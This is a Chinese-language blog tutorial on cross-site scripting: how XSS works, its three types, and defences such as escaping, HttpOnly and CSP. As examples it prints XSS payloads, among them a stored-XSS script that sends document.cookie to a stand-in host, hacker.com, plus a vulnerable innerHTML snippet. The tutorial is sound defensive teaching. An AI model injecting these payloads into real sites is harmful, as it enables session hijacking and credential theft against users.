Post

跨站脚本攻击 (XSS) 详解:原理、危害与防御

你可能听说过“跨站”这个词,通常它指的是两类著名的 Web 安全漏洞:XSS (跨站脚本攻击) 和 CSRF (跨站请求伪造)。

今天我们重点聊聊 XSS (Cross-Site Scripting)。有趣的是,它的缩写本该是 CSS,但为了和层叠样式表 (Cascading Style Sheets) 区分开,才被改称为 XSS。

1. 什么是 XSS?

简单来说,XSS 是一种代码注入攻击。攻击者通过巧妙的方法,将恶意的 JavaScript 代码注入到受害者浏览的网页中。

当受害者的浏览器渲染这个网页时,它无法分辨哪些是开发者写的正常代码,哪些是黑客注入的恶意代码,于是全盘照收并执行。

通俗类比:社区公告栏

想象一个社区公告栏(网页):

  1. 正常情况:大家贴寻物启事、租房广告(普通文本)。
  2. 攻击行为:坏人不是贴广告,而是贴了一张带有胶水的透明贴纸,上面写着“把你的钱包交给穿红衣服的人”(恶意指令)。
  3. 受害结果:你路过公告栏,因为信任公告栏的内容,不自觉地按照贴纸上的指示做了。

2. XSS 能造成什么危害?

一旦恶意脚本在你的浏览器中运行,它拥有的权限和你(用户)是一样的。

  1. 窃取 Cookie (Session Hijacking): 最常见的攻击目的。通过 document.cookie 读取用户的会话 ID,发送给黑客。黑客拿到后可以直接登录你的账号,无需密码。
  2. 网络钓鱼 (Phishing): 在页面上伪造一个登录框,欺骗用户输入用户名和密码。
  3. 恶意操作: 偷偷关注某些账号、转发微博、发垃圾广告(成为僵尸网络的一部分)。
  4. 网页挂马: 诱导用户下载恶意软件。

3. XSS 的三种主要类型

3.1 反射型 XSS (Reflected XSS) —— “诱导点击”

这是最常见的一种。恶意脚本藏在 URL 的参数里

  • 场景: 某搜索网站 http://search.com?q=关键词 会把关键词直接显示在页面上。
  • 攻击: 黑客构造一个链接:
    1
    
    http://search.com?q=<script>alert('你中招了')</script>
    
  • 触发: 黑客必须诱导用户点击这个链接(例如通过邮件、QQ群)。用户点击后,服务器接收请求,把参数反射回页面,脚本执行。
  • 特点: 非持久化,脚本不在服务器存储,必须通过链接触发。

3.2 存储型 XSS (Stored XSS) —— “埋雷”

这是危害最大的一种。恶意脚本被永久存储在目标服务器的数据库中

  • 场景: 论坛发帖、商品评论、用户留言板。
  • 攻击: 黑客发表一篇帖子,内容包含:
    1
    
    大家好,我是新来的。<script>window.location='http://hacker.com?cookie='+document.cookie</script>
    
  • 触发: 任何访问这篇帖子的普通用户(甚至管理员),浏览器加载帖子内容时都会自动执行脚本。
  • 特点: 持久化,杀伤力大,无需诱导特定用户点击链接。

3.3 DOM 型 XSS

这是一种纯前端的漏洞,与服务器无关。

  • 原理: 前端 JavaScript 代码逻辑不严谨,从 URL 或输入框获取数据后,不加处理直接写入到 HTML 中(如使用 innerHTML)。
  • 示例代码:
    1
    2
    3
    
    // 危险代码!直接把 URL hash 写入页面
    const pos = document.location.hash;
    document.getElementById('content').innerHTML = pos; 
    
  • 攻击: 访问 http://site.com#<img src=x onerror=alert(1)> 即可触发。

4. 防御 XSS 的核心策略

防御 XSS 的核心原则只有一句话:永远不要相信用户的输入。

4.1 输入过滤与输出转义 (Encoding)

这是最有效的手段。在把用户输入的数据显示到页面之前,必须进行 HTML 转义。

  • 原理: 将特殊字符转换为 HTML 实体。
    • < 转换为 &lt;
    • > 转换为 &gt;
    • " 转换为 &quot;
    • ' 转换为 &#x27;
  • 效果: 浏览器会把 <script> 当作普通文本显示,而不是当作标签执行。
  • 工具: 现代前端框架(React, Vue, Angular)默认都会自动进行转义,大大减少了 XSS 风险。但如果使用 v-html (Vue) 或 dangerouslySetInnerHTML (React),则必须格外小心。

这是一个非常重要的安全配置。

  • 做法: 在服务器端设置 Cookie 时,加上 HttpOnly 属性。
  • 效果: 浏览器禁止页面的 JavaScript 读取该 Cookie(即 document.cookie 读不到)。
  • 意义: 即使网站被 XSS 攻击了,黑客也无法偷走用户的登录凭证(Session ID),大大降低了损失。

4.3 内容安全策略 (CSP - Content Security Policy)

这是一种浏览器的白名单机制。

  • 做法: 服务器通过 HTTP 响应头 Content-Security-Policy 告诉浏览器规则。
  • 规则示例:
    • default-src 'self': 只允许加载本域名的资源。
    • script-src 'self' https://trusted.com: 只允许执行本域名和 trusted.com 的脚本,禁止内联脚本(Inline Script)。
  • 效果: 即使黑客注入了 <script src="http://hacker.com/evil.js">,浏览器也会拒绝加载,因为不在白名单内。

5. 总结

XSS 是一种利用用户对网站的信任进行的攻击。虽然现在的开发框架和浏览器提供了很多保护机制,但在处理富文本(Rich Text)或直接操作 DOM 时,开发者仍需保持高度警惕。

记住三件套:

  1. 转义所有输出。
  2. 开启 HttpOnly 保护 Cookie。
  3. 配置 CSP 限制恶意脚本加载。
This post is licensed under CC BY 4.0 by the author.